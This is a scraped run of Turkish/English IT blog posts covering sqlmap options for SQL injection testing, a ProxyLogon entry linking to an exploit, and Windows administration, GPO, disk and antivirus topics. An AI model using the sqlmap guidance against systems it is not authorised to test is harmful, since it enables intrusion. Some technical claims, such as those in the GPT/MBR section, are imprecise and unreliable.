de ekleyelim. –batch: Bu parametre ile sqlmap’in sorduğu sorulara otomatik olarak varsayılan cevabı vermiş oluruz.–answer: --answer="quit=N,follow=N" gibi bir kullanımla söz konusu sorularla karşılaşıldığında otomatik olarak istediğimiz cevapların verilmesini istedik.–mobile: Mobil bir hedefe yaptığımız saldırı, hedef tarafından uygun User-Agent’ı bulundurmadığımız için engellenebilir. Bu parametreyle sqlmap testlerini bir mobil client gibi tanıtıyoruz.-v: Varsayılan değeri 1’dir. 0-6 arası değer verebiliriz. Bu parametre ile testler sırasında oluşan logları sqlmap ekranın görmemiz mümkün hale geliyor.-t: Tüm HTTP trafiğini ekrana yansıtmak yerine belirlediğimiz bir metin dosyasına aktarır.–force-ssl: HTTPS isteği yaparken bu parametreyi kullanabilirsiniz. Alternatif olarak Host adresinin sonuna 443 port numarası da eklenebilir.–version: Mevcut sqlmap sürümünü ekrana yansıtır.–update: Sqlmap’i otomatik olarak günceller. Windows sistemlerde çalışmamaktadır. Güncellemeyi manuel olarak yapmak gerekir. Netsparker’ın Sqlmap Desteği Netsparker Desktop, bulunan SQL Injection zafiyetleri için sqlmap’te kullanabileceğiniz komutları hazır halde sunmaktadır. Netsparker, bulduğu SQL Injection zafiyetinin sqlmap’te tespiti için gerekli olan parametreleri otomatik olarak oluşturur. Bunun için zafiyetin üstüne sağ tıklayıp “Copy sqlmap Command” seçeneğine tıklamak yeterli. Kopyalanan komutu sqlmap’te çalıştırabiliriz: Netsparker, bulunan SQL Injection zafiyetinin testini sqlmap’te yapabilmeniz için gereken tüm parametreleri otomatik olarak ekler. Örneğin yukarıdaki örnekte -p parametresiyle vulnerable olan parametre, --risk parametresiyle denenecek payloadların seviyesi, --user-agent bilgisi, --headers parametresiyle Netsparker’ın tarama sırasında kullandığı header bilgisi ve son olarak --dbms parametresiyle uygun DBMS bilgisi otomatik olarak oluşturuldu. Saygılarımla. – Best regards. --- ## Simple PHP Active Directory Ldap Authentication Link: https://farukguler.com/posts/ad-php-ldap-authentication/ LDAP (Lightweight Directory Access Protocol), TCP/IP üzerinden çalışan bir protokoldür ve dizin hizmetlerine (directory services) erişim sağlar. Bu protokol, kullanıcıların bilgi, kaynak ve diğer nesnelere erişimini sağlayan bir dizin hizmeti yönetim sistemi kullanılarak verileri sorgulama, ekleme, değiştirme ve silme işlemlerini yapabilmelerini mümkün kılar. Genellikle, kurumsal ağlarda kullanılan bir protokol olan LDAP, özellikle büyük ölçekli ağlarda kullanıcı hesapları, gruplar ve kaynakların yönetimini kolaylaştırır. LDAP, kullanıcı kimlik doğrulama, e-posta adresleri, telefon numaraları gibi bilgileri depolamak için kullanılan dizin hizmetlerinin birçok uygulamasında kullanılır. LDAP Portu (TCP/UDP 389): Bu port genellikle şifrelenmemiş LDAP trafiği için kullanılır. LDAP SSL/TLS (LDAPS) Portu (TCP/UDP 636): Bu port, LDAP trafiğini güvenli hale getirmek için SSL/TLS protokolü ile şifrelenmiş bağlantılar için kullanılır. linkte basit bir Active Directory LDAP örneği paylaştım. indirip kullanabilirsiniz. I shared a simple Active Directory LDAP example in the link. you can download and use. https://github.com/faruk-guler/Basic-PHP-Ldap-Authentication Sağlıcakla – Best Regards --- ## Microsoft Exchange Server-Side Request Forgery (Proxylogon) Link: https://farukguler.com/posts/exchange-proxylogon-poc/ Exchange Server Hafnium Exploit SSRF to Arbitrary File Write (Proxylogon) Exchange Server – Hafnium Zeroday 0 Gün Zafiyetini detaylı incelemek için; https://www.exploit-db.com/exploits/49637 --- ## Write Protected Flash Drive & Windows could not finish formatting Link: https://farukguler.com/posts/fix-write-protected-flash-drive/ Elinizdeki USB bellek yazma korumalı bir duruma geldiyse ve format atamıyorsanız, bazı durumlarda disk salt okunur hale de gelebilir. Bu sorunun sebebi, bellek çipi ve MCU'daki program arasındaki yapılandırma verilerinde meydana gelen hasarlardır. MCU'nun model numarası öğrenildikten sonra, flashboot.ru ve usdev.ru gibi sitelerden uygun firmware ve yazma programını indirerek, yeniden yükleme işlemini gerçekleştirebilirsiniz. Ancak, bellek çipi ve MCU arasındaki yapılandırma verilerini yeniden düzenleyerek sorunun çözülmesini sağlayan bu işlem, bellekteki tüm verileri siler. Bu nedenle, işlemi gerçekleştirmeden önce mutlaka verilerinizi yedeklemenizi öneririm. Ayrıca, bu işlem sırasında bir hata yapmanız durumunda USB bellek tamamen kullanılamaz hale gelebilir. Bu nedenle, işlemi yapmak için tecrübeli bir kullanıcı veya teknik destek almanız daha doğru olacaktır. Sandisk markasının kendi ürünleri ile ilgili firmware ve yazma programlarını pek paylaşmadığı için uygun firmware bulamayabilirsiniz. Ancak, genel olarak üreticinin kendi web sitesinde veya destek sayfasında, yazılım ve firmware güncellemeleri bulunabilir. Bu nedenle, öncelikle üreticinin web sitesini kontrol etmeniz de fayda var. USB belleğin yazma koruması sorununu çözmek için öncelikle içini açmadan veya ChipGenius ve Phison GetInfo gibi programları kullanarak belleğin MCU model numarasını öğrenebilirsiniz. Daha sonra flashboot.ru veya usdev.ru gibi sitelerden uygun firmware ve yazma programını indirip belleğin yazma koruması sorununu çözebilirsiniz. Ancak Sandisk marka ürünler için kendi firmware ve yazma programlarını paylaşmadıkları için uygun firmware bulmak zor olabilir. Phison GetInfo virüslü olduğu içinde paylaşmayı uygun görmedim. https://github.com/faruk-guler/Programlar-Programs/blob/main/GetInfo_v3.12.0.2.rar https://flashboot.ru/iflash/ Sağlıcakla – Best Regards --- ## User SID Number operations with Powershell Link: https://farukguler.com/posts/powershell-kullanici-sid/ SID (Security Identifier) kısaltmasıdır, bilgisayar sistemlerinde, kullanıcılara ve güvenlik gruplarına özel olarak atanmış benzersiz bir kimlik numarasıdır. Her bireyin kendine özgü bir T.C. kimlik numarası gibi, bilgisayara yeni bir işletim sistemi yüklediğinizde veya yeni bir kullanıcı hesabı oluşturduğunuzda, bu işlemle birlikte oluşturulan benzersiz bir kimlik numarasıdır. Bir bilgisayarın veya kullanıcının SID numarası, bir ağa dahil olduğunda tanınabilmesini sağlar. Bilgisayarlar ve kullanıcılar, SID numaraları aracılığıyla ağa bağlandıklarında kimlik doğrulama işlemleri gerçekleştirilir. Bir bilgisayarın, etki alanına bağlanması veya etki alanından ayrılması durumunda, SID numarası değişmez. Ancak, bir veya daha fazla bilgisayarı aynı yapılandırmayla oluşturmak istiyorsanız, sysprep adı verilen bir araç kullanarak işletim sistemi görüntülerini hazırlamanız gerekir. PS: 1- Kullanıcı Adı ile SID Bulmak - Finding SID by Username : Get-ADUser -Identity ‘ahmet.karacan’ | select SID 2- SID ile Kullanıcı Adı Bulmak - Finding Username by SID: Get-ADUser -id sidnumarasi | select SamAccountName 3- Grup Adı ile SID Bulmak - Finding SID by Group Name: Get-ADGroup -Identity ‘grupadi’ | select SID 4- SID ile Grup Adı Bulmak - Finding Group Name by SID: Get-AdGroup -id sidnumarasi | select name --- ## Group policy deploy Desktop icons Link: https://farukguler.com/posts/gpo-deploy-desktop-icons/ Bugün onlarca forumda sorulan ve nasıl yapılacağı tam olarak bilinmeyen (2) konuya değineceğim. Domain ortamında GPO ile .REG (regedit) dosyası dağıtmak - Group policy REG file deploy GPO ile Masaüstü simgeleri oluşturmak - Creating desktop icons Group policy ilgili REG' i indirmek için: https://github.com/faruk-guler/JumpTools Kısaca Domain ortamında GPO ile .REG (regedit) dosyası deploy ederek, Masaüstü simgeleri(iconları) oluşturacağız. iki işlemi tek yazıda açıklamam gerekirse; İlk olarak yeni bir GPO oluşturalım. example: Masaustu_simgeleri2022 Edit diyerek User Configuration \ Windows Settings \ Scripts (Logon/Logoff alanına gidelim. Userler oturum açtığında uygulanacak bir GPO olduğu için Logon kısmını editliyorum ve yukarıda göründüğü şekilde dolduruyorum. Script Name: regedit.exeScript Parameters: /S regfile_Name.reg /S parametresi (Silent) yani kullanıcılara görünmeden (sessizce çalıştır) anlamındadır. bu parametreyi kesinlikle ekliyoruz. son olarak ise https://github.com/faruk-guler/JumpTools indirme linkini vermiş olduğum dosyayı indirerek aşağıdaki görüldüğü gibi Show Files: user\scripts\logon dizini altına yapıştıralım. GPO ayarlarını kaydettikten sonra User bazlı yazmış olduğumuz için kullanıcıların bulunduğu OU= altına link edelim. Saygılarımla – Best Regards --- ## Active Directory Best Practices Audit Policies GPO Link: https://farukguler.com/posts/active-directory-best-practices-audit/ Microsoft Best Practices Audit Policies Tablosu: (10 adet) Audit Policy Category or SubcategoryWindows DefaultBaseline RecommendationStronger RecommendationSuccess FailureSuccess FailureSuccess FailureAccount LogonAudit Credential ValidationNo NoYes YesYes YesAudit Kerberos Authentication ServiceYes YesAudit Kerberos Service Ticket OperationsYes YesAudit Other Account Logon EventsYes YesAccount ManagementAudit Application Group ManagementAudit Computer Account ManagementYes DCYes YesAudit Distribution Group ManagementAudit Other Account Management EventsYes YesYes YesAudit Security Group ManagementYes YesYes YesAudit User Account ManagementYes NoYes YesYes YesDetailed TrackingAudit DPAPI ActivityYes YesAudit Process CreationYes NoYes YesAudit Process TerminationAudit RPC EventsDS AccessAudit Detailed Directory Service ReplicationAudit Directory Service AccessDC DCDC DCAudit Directory Service ChangesDC DCDC DCAudit Directory Service ReplicationLogon and LogoffAudit Account LockoutYes NoYes NoAudit User/Device ClaimsAudit IPsec Extended ModeAudit IPsec Main ModeIF IFAudit IPsec Quick ModeAudit LogoffYes NoYes NoYes NoAudit LogonYes NoYes YesYes YesAudit Network Policy ServerYes YesAudit Other Logon/Logoff EventsYes YesAudit Special LogonYes NoYes NoYes YesObject AccessAudit Application GeneratedAudit Certification ServicesAudit Detailed File ShareAudit File ShareAudit File SystemAudit Filtering Platform ConnectionAudit Filtering Platform Packet DropAudit Handle ManipulationAudit Kernel ObjectAudit Other Object Access EventsAudit RegistryAudit Removable StorageAudit SAMAudit Central Access Policy StagingPolicy ChangeAudit Audit Policy ChangeYes NoYes YesYes YesAudit Authentication Policy ChangeYes NoYes NoYes YesAudit Authorization Policy ChangeAudit Filtering Platform Policy ChangeAudit MPSSVC Rule-Level Policy ChangeYesAudit Other Policy Change EventsPrivilege UseAudit Non Sensitive Privilege UseAudit Other Privilege Use EventsAudit Sensitive Privilege UseSystemAudit IPsec DriverYes YesYes YesAudit Other System EventsYes YesAudit Security State ChangeYes NoYes YesYes YesAudit Security System ExtensionYes YesYes YesAudit System IntegrityYes YesYes YesYes YesGlobal Object Access AuditingAudit IPsec DriverAudit Other System EventsAudit Security State ChangeAudit Security System ExtensionAudit System Integrity Audit Policy Tables Legend NotationRecommendationYESEnable in general scenariosNODo not enable in general scenariosIFEnable if needed for a specific scenario, or if a role or feature for which auditing is desired is installed on the machineDCEnable on domain controllers[Blank]No recommendation --- ## Windows Server Event Viewer Logging GPO Link: https://farukguler.com/posts/windows-server-event-viewer/ What is Event Viewer? Event Viewer is a utility program in Microsoft Windows that allows users to view detailed logs about various system and application events that occur on their computer. These events could include software installation or removal, system errors, warnings, and more. Event Viewer is divided into three main sections: Windows Logs, Applications and Services Logs, and Subscriptions. Windows Logs include logs related to system events such as security, application, setup, and system. Applications and Services Logs include logs related to events generated by specific applications and services installed on the system. Subscriptions allow users to view logs on remote computers. Event Viewer allows users to filter and search logs based on various criteria, such as the time of the event, the severity of the event, the source of the event, and more. This makes it easy to identify and troubleshoot issues with the system or applications. Overall, Event Viewer is a powerful tool that can help users diagnose and resolve issues with their computer system. Event Log consists of (5) sections. SECTIONS: Server Roles: Logs such as info, warning of the roles installed on the server are in this section. 2.Windows Logs: In this section, there are event logs of Windows. It consists of 5 parts. a: Application: The event log of the applications and programs installed and running on our server is kept here. For example, applications such as SQL, Excel b:Security: Event logs of users' login/logout, resource usage, auditing settings are kept here. c:Setup: Events related to application installations are kept here on our server. d:System: Information about system events on the server is kept here. e:Forwarded Events: Events belonging to remote computers are kept here. 3.Applications and Services Log: This is the section where events for applications and services running on the operating system are kept. 4.Microsoft: It is the section where event logs of other components serving in our operating system are kept. 5.Subscriptions: It allows us to store the events logs of one or more computers serving remotely on our own server. After talking about Windows Event Log, if auditing policy is activated on the GPO, event log can be collected with policies such as Account logon, account management, logon events. If you want, you can create a new policy or activate it by editing the default policy. First of all, we come to "Computer configuration\Windows Settings\Security Settings\Local Policies\Audit Policy" screen through Group Policy management. As seen above, there are (9) policies under Audit Policy; Audit Account logon events; Allows monitoring of users' sign-in events. Audit Account Management; It allows the management of the administrative operations performed on the users. Audit Directory Service Access; Monitors directory service access Audit Logon Events; Monitors user login events. Audit Object Access; It monitors users' access to objects. Audit Policy Change; It is used to control the changes made in the policy. Audit Privilege Use; When a user's rights are used, it is monitored. Audit Process Tracking; It provides monitoring of the audit process. Audit System Events; Controls all system events. Changing the system clock etc. As an example, the successful or unsuccessful logon process of users will be done below. Right click on Audit Logon Events and click properties on Audit Policy. Then let's choose   Success and failure under Define the policy settings tab. After completing the GPO operations, we open the Event Viewer screen. Go to Windows Logs > Security. Now we can see the logon and log off events instantly in the Visual. Here are some Event IDs that might be important to us: 4624: Successful account login 4625: Failed account login 4634: An account has logged out 4648: Attempted to sign in with explicit credentials 4719: System audit policy changed 4720: A user account has been created 4722: A user account has been activated 4723: An attempt was made to change an account's password 4740: User Account locked 4767: User account unlocked 4964: A custom group is assigned to a new login 1102: Audit log cleared Saygılarımla – Best Regards --- ## Installing Exe Application With Group Policy Link: https://farukguler.com/posts/group-policy-exe/ Domain ortamında kurmak istediğimiz uygulamaları .MSİ paketlerini kullanarak Group Policy vasıtasıyla dağıtabilir. Kuracağınız yazılımın .Msi hali yok sadece .Exe hali varsa o programı GPO ile kuramayacağınız anlamına gelir. (Eğer ilgili script yoksa) Peki herşey buraya kadarmıydı ? Bu yazımızda şuanda sadece .Exe kurulum hali bulunan Internet Download Manager (İDM) yazılımının idm_64.msi dosyasına dönüştürme işlemini yaparak Domain ortamında GPO ile kurulumunu yapacağız. Bu dönüşüm için EMCO MSI Package Builder yazılımı kullanacağız. bu yazılımın 30 günlük demene sürümünü indirip kurulumu yapıyoruz.. Resimlerde aşama aşama belirtiğim şekilde idman 64.exe dosyasının kurulumunu yapıyoruz. biz kurulumu yaparken EMCO MSI Package Builder bu adımları capture edecek ve otomatik bir .MSi dosyası oluşturacaktır. Bu kısımda yeniden build edeceğimiz için versiyon numarası: iconu: platformu: x64, x86 dil: kaydedeceğimiz path: vb. belirleyip FINISH diyerek bitirelim, bu kısımda Capture alacağı için istediğiniz ayarlar ile idman 64.exe yazılımını kurmanızı isteyecektir. Kuruyoruz... Evet buraya kadardı :) Bu aşamada (IDM bilgisayarınıza kuralacaktır ama bunu artık kaldırabilirsiniz) yol olarak belirttiğim Desktop üzerinde idm_64.msi dosyamız build edilmiş şekilde duruyor. Artık GPO için kullanılabilir haldedir. Saygılarımla. – Best regards. --- ## GParted disk genişletme işlemi nasıl yapılır Link: https://farukguler.com/posts/gparted-nedir/ GPARTED (Gnome Partition Editor) GParted (Gnome Partition Editor), GNU Genel Kamu Lisansı altında yayınlanan, açık kaynak kodlu bir disk bölümlendirme ve yönetim aracıdır. GParted, Linux, Windows ve diğer birçok işletim sistemi için kullanılabilen bir yazılımdır. GParted, sabit disklerin bölümlendirilmesini, yeniden boyutlandırılmasını, biçimlendirilmesini, taşınmasını ve kopyalanmasını sağlar. Ayrıca, dosya sistemleri hakkında bilgi sağlar, ayrılmış bölümleri birleştirir, yeni bölümler oluşturur ve hatta birleştirir. GParted, işletim sisteminin ana bölümünü boyutlandırmak gibi riskli işlemleri gerçekleştirebilir, bu nedenle doğru şekilde kullanılmazsa verilerin kaybedilmesine neden olabilir. GParted, bir USB sürücü veya CD/DVD üzerinden bir önyükleme disketi olarak kullanılabilir ve grafik kullanıcı arayüzü sayesinde, işlemler görselleştirilerek gerçekleştirilebilir. Program, kullanıcıların bölümlendirme işlemlerini daha kolay ve güvenli hale getirerek, kullanıcıların verilerini daha iyi yönetmelerine yardımcı olur. Ancak, herhangi bir disk yönetimi aracı gibi, GParted'ın kullanımı özenli ve doğru yapılmalıdır, aksi takdirde önemli veri kayıpları yaşanabilir. Hazırlanması - To Prepare İlk olarak, GParted web sitesine gidin ve en son sürümü indirin. https://gparted.org/download.php GParted sürümünü, indirdiğiniz ISO dosyasını bir CD/DVD ya da bir USB sürücüye yazmanız gerekiyor. İndirdiğiniz ISO dosyasını bir CD veya DVD'ye yazdırmak için uygun bir yazılım kullanabilirsiniz. USB sürücüye yazdırmak için ise Rufus, Universal USB Installer veya Etcher gibi ücretsiz araçlar kullanabilirsiniz. Kullanılması - HOW TO USE Hazırladığınız CD ya da USB belleği bilgisayarınıza bağlayın. Bilgisayarınızı bu CD ya da USB bellekten başlatın. Bilgisayarı GParted CD/USB ile açtığınızda ilk olarak alttaki açılış ekranı sizi karşılar. Burada enter tuşuna basarak devam ediniz. Devamında klavye düzeni ile seçeneklerin sunulduğu bir ekran gelir orada da Okey'leyip devam edebilirsiniz. Bir sonraki ekranda alttaki gibi, programı kullanmaya hangi dille devam etmek istediğimizi soracaktır. Türkçe'yi seçmek için klvayeden 31 yazıp enter ile devam ediniz, ben ingilizce kullanmak istediğim için 33 seçiyorum. Aşağıdaki gibi GParted canlı sistem masaüstü karşımıza geldi. Masaüstü açılır açılmaz, GParted programı da açılarak karşımıza gelecektir. Altta görüldüğü 142.22 MB kullanımda olan ext3 formatında 5.28 gb boyutunda LOG diskim bulunuyor ve bu diski dolduğu gerekçesiyle sonradan ekleme yaptığım 24.72 GB boyutundaki unallocated(ayrılmamış) diskimi' de ekleyerek toplamda 30 Gb boyutuna çıkaracağım. bu GUI alanı alanı olduğu için mause kullanabiliyoruz. ve seçmiş olduğum disk yeşil renkle çevreleniyor. Ayrıca sağ üst köşede ise toplam boyutun 30 Gb olduğu yazmakta. ****Yapılacak yanlış bir işlem (sunucunuzu) kullanılmaz hale getirecektir!!! *Her ihtimale karşın Snapchat veya Sistem yedeğimizin olduğundan emin olunuz! Sonradan eklediğim Unallocated olan 24.72 Gb'lik alanı, LOGUSEDx9D..... isimli log diskime eklemek için /dev/sda1 üzerinde Sağ Click ve Resize/Move yaparak yeniden boyutlandırıp genişleteceğim. bu kısmı windows dosya sisteminden biliyor olduğunuzu varsayıyorum. Alt kısımda ise 24.72 GB boyutundaki alanımdan New diyerek yeni 2. diski oluşturabilirim. yada alttaki gibi Format to Kısmından varolan diskimin formatını değiştirebilirim. Diskimi FAT32 Formatında 2Gb diskim isminde oluşturacağım. Değerleri elle doldurmak yerine yeşil bar çubuğunu ilerleterek tüm diski seçiyorum. ve Add diyorum. Görüldüğü yeni diskim gibi fat32 formatında 2.10 GB boyutunda 2Gb diskim adıyla oluşturulmak üzere hazırlandı. Eğer tüm yapılanlardan eminsek ayrıca bir (snapchat veya sistem yedeğimizin olduğundan eminsek) orta kısımdaki YEŞİL onaylama butonu Apply sekmesi ile yeni diskimizi oluşturuyoruz. Görüldüğü gibi yeni diskimiz istediğimiz şekilde oluşturuldu. Yararlı olması dileğiyle - Best Regards. --- ## Helpdesk GPO Windows Uzaktan Yardım Link: https://farukguler.com/posts/helpdesk-gpo/ Helpdesk hizmeti vermek için birçok araç mevcuttur ve bunlar arasında MECM Remote Control ve Windows Remote Assistance gibi araçlar da yer almaktadır. Bu yazıda, Windows Remote Assistance aracının kullanımı incelenecektir. Bu araç, kullanıcının oturumunu kapatması gerekmeden bağlanılmasını sağlar. Kullanıcının açtığı oturuma bağlanabilir, oturumu yönetebilir ve kendi mesajlaşma ara yüzünden kullanıcıya mesaj gönderebilirsiniz. "Computer configuration > Policies > Administrative Templates > System" bölümünde yer alan “Remote Assistance” a gidelim. Buradan “Configure Offer Remote Assistance” politikasını seçelim. Bu politika üzerinden (3) üç ayar yapacağız. Öncelikle politikamızı aktif hale getiriyoruz. Yardım ekibinin bilgisayara bağlanabilmesini sağlıyoruz. Kimlerin bağlanabileceğini kişi yada grup seçiyoruz. Uzak bağlantı araçları bir port ya da uygulama üzerinden bağlanır. Bu sebeple güvenlik duvarında da bazı ayarlar yapmak gerekiyor. Aynı politikada "Computer Configuration > Policies > Windows Settings > Security Settings > Windows Firewall and Advanced Security" bölümüne geliyoruz. Bu bölümde inbound kurallar tanımlamamız gerekiyor. Bu kurallar uygulamalara ve port a yönelik olmalıdır. Sırasıyla aşağıdaki kuralları tanımlıyoruz: İzin vermemiz gereken (4) adet program ve port kuralları: %systemroot%\system32\sessmgr.exe %systemroot%\PCHEALTH\HELPCTR\Binaries\helpsvc.exe %systemroot%\system32\Raserver.exe Port ise TCP 135 portudur. Son olarak "Computer Configuration > Policies > Windows Settings > Security > Local Policies"  e geliyoruz. Secuirty Options ı seçiyoruz. Açılan politikalardan User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop  politikasını aktif ediyoruz. ilgili GPO' dosyasını ilgili OU altına link ettikten sonra tüm clientler' in policy almasını bekleyelim. yada tetikleyelim. Artık yönetici ya da destek ekibimizde yer alan personel kendi makinelerinden group ilkesini alan makinelere bağlanabilirler. Uzak bağlantı aracını açmak için arama yada çalıştır bölümüne msra.exe /offerra yazabilirsiniz. Umarım faydalı olmuştur. - I hope it was helpful. --- ## Kaspersky Antivirüs Nedir? Link: https://farukguler.com/posts/kaspersky-antivirus-nedir/ Kaspersky Antivirüs, 1997 yılında Rusya'da kurulan Kaspersky Lab şirketi tarafından geliştirilmiştir. Kaspersky Lab, Rus siber güvenlik uzmanı Eugene Kaspersky tarafından kurulmuştur. Bugün Kaspersky Lab, siber güvenlik ürünleri ve hizmetleri sunan dünya çapında bir şirket haline gelmiştir. Kaspersky Antivirüs, kötü amaçlı yazılımlara karşı koruma sağlayan bir antivirüs programıdır. Kaspersky Lab şirketi tarafından geliştirilmiştir ve Windows, Mac ve Linux işletim sistemlerinde kullanılabilir. Kaspersky Antivirüs, bilgisayarınızdaki zararlı yazılımları tespit etmek, engellemek ve temizlemek için tasarlanmıştır. Bu program, virüsler, solucanlar, Truva atları, kötü amaçlı yazılımlar, casus yazılımlar ve diğer tehditleri algılayabilir. Ayrıca, Kaspersky Antivirüs, web tarama ve e-posta koruması da sağlar. Program, gerçek zamanlı koruma özelliği ile bilgisayarınızda çalışır ve bilgisayarınıza indirilen dosyaları ve programları sürekli olarak tarar. Ayrıca, dosya ve klasörlerinizi düzenli aralıklarla tarayarak sisteminizi temiz tutmanızı sağlar. Kaspersky Antivirüs, kullanıcı dostu bir arayüze sahiptir ve otomatik güncelleme özelliği ile sürekli olarak en son virüs tanımlarını indirir. Bu, bilgisayarınızın her zaman güvende kalmasını sağlar. Ancak, bazı kullanıcılar Kaspersky Antivirüs'ün gizlilik konusunda endişeleri olduğundan dolayı bu programı kullanmak istemeyebilirler. Kaspersky Lab şirketi, Rusya merkezli bir şirket olduğu için bazı ülkelerde güvenlik endişeleri nedeniyle bu programın kullanımı sınırlandırılmıştır. Genel olarak, Kaspersky Antivirüs, kullanıcı dostu arayüzü ve etkili koruma özellikleri ile bilgisayarınızı kötü amaçlı yazılımlara karşı korur ve sistem performansınızı etkilemeden çalışır. --- ## Bitdefender Antivirüs Link: https://farukguler.com/posts/bitdefender-antivirus/ Bitdefender Antivirüs, kötü amaçlı yazılımlara karşı koruma sağlayan bir antivirüs programıdır. Bitdefender şirketi tarafından geliştirilmiş olup, Windows, Mac ve Android işletim sistemlerinde kullanılabilir. Bitdefender Antivirüs, bilgisayarınızdaki zararlı yazılımları tespit etmek, engellemek ve temizlemek için tasarlanmıştır. Program, virüsler, solucanlar, Truva atları, kötü amaçlı yazılımlar, casus yazılımlar ve diğer tehditleri algılayabilir. Ayrıca, Bitdefender Antivirüs, web tarama ve e-posta koruması da sağlar. Bitdefender Antivirüs, gerçek zamanlı koruma özelliği ile bilgisayarınızda çalışır ve bilgisayarınıza indirilen dosyaları ve programları sürekli olarak tarar. Ayrıca, dosya ve klasörlerinizi düzenli aralıklarla tarayarak sisteminizi temiz tutmanızı sağlar. Bitdefender Antivirüs, kullanıcı dostu bir arayüze sahiptir ve otomatik güncelleme özelliği ile sürekli olarak en son virüs tanımlarını indirir. Bu, bilgisayarınızın her zaman güvende kalmasını sağlar. Bitdefender Antivirüs, Rumen siber güvenlik uzmanları tarafından 2001 yılında Romanya'da kurulan Bitdefender şirketi tarafından geliştirilmiştir. Bugün Bitdefender, siber güvenlik ürünleri ve hizmetleri sunan dünya çapında bir şirket haline gelmiştir. Bitdefender En Uygun Antivirüs Programı olabilir mi? En uygun antivirüs programı tercihi, kişisel ihtiyaçlarınıza ve bütçenize bağlıdır. Ancak, Bitdefender Antivirüs, etkili koruma özellikleri, kullanıcı dostu arayüzü ve performansı nedeniyle birçok kişi tarafından tercih edilen bir antivirüs programıdır. Bitdefender Antivirüs, testlerde yüksek seviyede koruma sağlaması, düşük sistem kaynakları tüketmesi ve kullanıcı dostu arayüzü sayesinde geniş bir kullanıcı kitlesine hitap eder. Ayrıca, Bitdefender Antivirüs, web koruma, e-posta koruma, fidye yazılımı koruması ve diğer güvenlik özellikleri ile donatılmıştır. Bununla birlikte, Bitdefender Antivirüs'ün diğer antivirüs programlarına kıyasla biraz daha yüksek fiyatlı olması nedeniyle, bütçeniz de bir faktör olabilir. Ancak, Bitdefender Antivirüs'ün özelliklerine ve performansına değer veriyorsanız, bu programın en uygun antivirüs programlarından biri olduğunu söylenebilir. Bitdefender şirketinin kurucusu ve sahibi Florin Talpes'dir. Florin Talpes, 2001 yılında Rumen siber güvenlik şirketi Bitdefender'ı kurmuştur. O zamandan beri, Bitdefender dünya çapında siber güvenlik çözümleri sunan başarılı bir şirket haline gelmiştir. Florin Talpes, hala Bitdefender şirketinin CEO'su olarak görev yapmaktadır. --- ## Windows Server 2022 Sonunda Yayınlandı. Link: https://farukguler.com/posts/windows-server-2022/ Microsoft Windows Server 2022, 1 Eylül 2021'de yayınlanmıştır. Windows Server 2022, Windows Server 2019'dan sonra gelen en son sürümdür ve özellikle bulut ve hibrit altyapılar için tasarlanmıştır. Windows Server 2022'nin bazı özellikleri şunları içerir: Yenilenmiş bir kullanıcı arayüzüne sahiptir. Yüksek kullanılabilirlik özellikleri ve geliştirilmiş depolama yönetimi sunar. Yeni bir özellik olan "Windows Admin Center" aracılığıyla merkezi bir yönetim deneyimi sunar. Yeni bir "Azure Arc" özelliği, kurumsal veri merkezleri, uzak ofisler ve bulutlar arasında uçtan uca yönetim sağlar. Windows Server 2022, güncellenmiş bir güvenlik altyapısına sahiptir ve siber saldırılara karşı daha dirençlidir. Windows Server 2022 ayrıca Microsoft'un uzun vadeli bir destek (LTSC) sürümüdür ve önümüzdeki on yıl boyunca güncelleştirilmeye devam edilecekti Windows Server 2022 Nasıl İndirilir? Windows Server 2022'yi indirmek için aşağıdaki adımları takip edebilirsiniz: Microsoft'un resmi web sitesine gidin: https://www.microsoft.com/en-us/windows-server. Sayfanın alt kısmında "Download Free Trial" (Ücretsiz Deneme Sürümünü İndirin) seçeneğine tıklayın. İndirme sayfasında, dil ve sürüm seçimi yapmanız gerekecektir. Ardından "Download" (İndir) seçeneğine tıklayın. Bir Microsoft hesabınız yoksa, kayıt olmanız istenecektir. Kayıt olduktan sonra "Download Now" (Şimdi İndir) seçeneğine tıklayın. İndirme işlemi başlayacak ve ISO dosyası olarak indirilecektir. Not: Windows Server 2022'nin tam sürümünü indirmek için bir ücret ödemeniz gerekebilir. Deneme sürümünü indirerek 180 gün boyunca ücretsiz olarak kullanabilirsiniz. --- ## Rufus Nedir? Link: https://farukguler.com/posts/rufus/ Rufus, bir USB flash sürücüsünü başlangıç ​​diski olarak biçimlendirmek ve ISO dosyalarını yazmak için kullanılan bir ücretsiz, açık kaynaklı bir araçtır. Rufus, Windows işletim sistemi için tasarlanmıştır ve kullanıcıların hızlı ve kolay bir şekilde önyüklenebilir USB sürücüler oluşturmasına olanak tanır. Rufus, birçok ISO görüntüsü için doğru ayarları otomatik olarak yapar ve kullanıcılara disk bölümleme seçenekleri sunar. Ayrıca, Rufus, BIOS veya UEFI firmware'ini kullanarak önyüklenebilir USB sürücüler oluşturmanıza olanak tanır. Rufus ayrıca, NTFS, FAT32, UDF, exFAT vb. gibi birçok dosya sistemi formatını destekler. Rufus'un alternatifleri arasında UNetbootin, Etcher, Win32DiskImager, BalenaEtcher, Universal USB Installer vb. bulunur. Bu alternatifler de ücretsizdir ve benzer özelliklere sahiptirler. Saygılarımla. – Best regards. --- ## GPT ve MBR arasındaki fark nedir? Link: https://farukguler.com/posts/gpt-ve-mbr-arasinda-fark/ GPT (GUID Partition Table) ve MBR (Master Boot Record), bilgisayar sabit disklerinde bölümleme (partitioning) yöntemleri olarak kullanılan iki farklı disk bölümleme yöntemidir. MBR, bilgisayarların ilk ortaya çıktığı dönemlerde kullanılmaya başlanmıştır ve 2 TB'a kadar sabit disklerde kullanılabilir. MBR, diskteki ilk sektöre kaydedilir ve disk bölümlerinin yerini ve boyutunu tutar. Ancak MBR'nin sınırlamaları vardır, örneğin yalnızca dört birincil bölüm veya üç birincil ve bir genişletilmiş bölüm oluşturulabilir. Ayrıca, her bir bölüm maksimum 2 TB boyutunda olabilir. GPT, MBR'nin sınırlamalarını aşmak için geliştirilmiştir. GPT, diskteki ilk sektörden değil, disk sonundaki bir alanı kullanır. Bu nedenle, daha büyük disklerde kullanılabilir ve disk bölümlerinin sayısı sınırlı değildir. GPT, yüzlerce bölüm oluşturulmasına izin verir ve her bir bölümün boyutu terabaytlarla ifade edilebilir. Ayrıca, GPT diskleri, MBR diskleri için gereken önyükleme koduna ihtiyaç duymazlar. Bunun yerine, UEFI (Unified Extensible Firmware Interface) firmware tarafından önyükleme yapmak için kullanılan özel bir sistem bölümüne sahiptirler. Bu nedenle, UEFI uyumlu sistemlerde GPT diskleri kullanmak önerilir. Özetle, MBR diskleri daha eski ve küçük sabit disklerde kullanılırken, GPT diskleri daha yeni ve büyük 